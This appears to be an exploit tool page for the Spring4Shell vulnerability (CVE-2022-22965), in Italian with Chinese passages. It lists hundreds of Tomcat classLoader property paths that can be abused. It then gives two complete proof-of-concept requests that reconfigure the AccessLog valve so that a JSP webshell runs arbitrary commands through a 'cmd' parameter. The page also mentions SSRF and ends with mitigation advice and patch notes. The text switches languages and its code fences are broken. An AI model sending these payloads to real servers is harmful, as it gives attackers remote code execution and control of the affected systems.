    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
    class.module.classLoader.resources.context.parent.cluster
    class.module.classLoader.resources.context.parent.configClass
    class.module.classLoader.resources.context.parent.contextClass
    class.module.classLoader.resources.context.parent.copyXML
    class.module.classLoader.resources.context.parent.createDirs
    class.module.classLoader.resources.context.parent.deployIgnore
    class.module.classLoader.resources.context.parent.deployOnStartup
    class.module.classLoader.resources.context.parent.deployXML
    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    Utilizzando class.module.classLoader.resources.context.parent.pipeline è possibile impostare gli attributi di AccessLog, quindi utilizzare la funzione di scrittura dei log per scrivere una webshell. Il POC è il seguente: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    Oppure utilizzare l'intestazione della richiesta per passare il valore di pattern:
    
    * tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    Può anche utilizzare class.module.classLoader.resources.context.configFile per SSRF.

    Le altre proprietà sfruttabili richiedono un'ulteriore analisi del ruolo di ciascuna proprietà.

    Il punto da notare è che modificare le proprietà di cui sopra potrebbe causare il riavvio del servizio, quindi se stai testando da solo non importa, ma non utilizzare mai direttamente questi PoC in un ambiente di produzione, a meno che tu non sia pienamente consapevole e disposto ad accettare le conseguenze dell'exploit!!

    Correzione e mitigazione della vulnerabilità

    Nel metodo di correzione della nuova versione, ci sono principalmente due punti per prevenire la sovrascrittura delle variabili:

    1. Disabilitare il binding WebDataBinder su campi specifici tramite impostazioni globali disallowFields:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;
    
    2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **其他规避措施:**
    
    1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的,从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
    2. jdk9以下不受该漏洞影响。
    
    Scarica lo strumento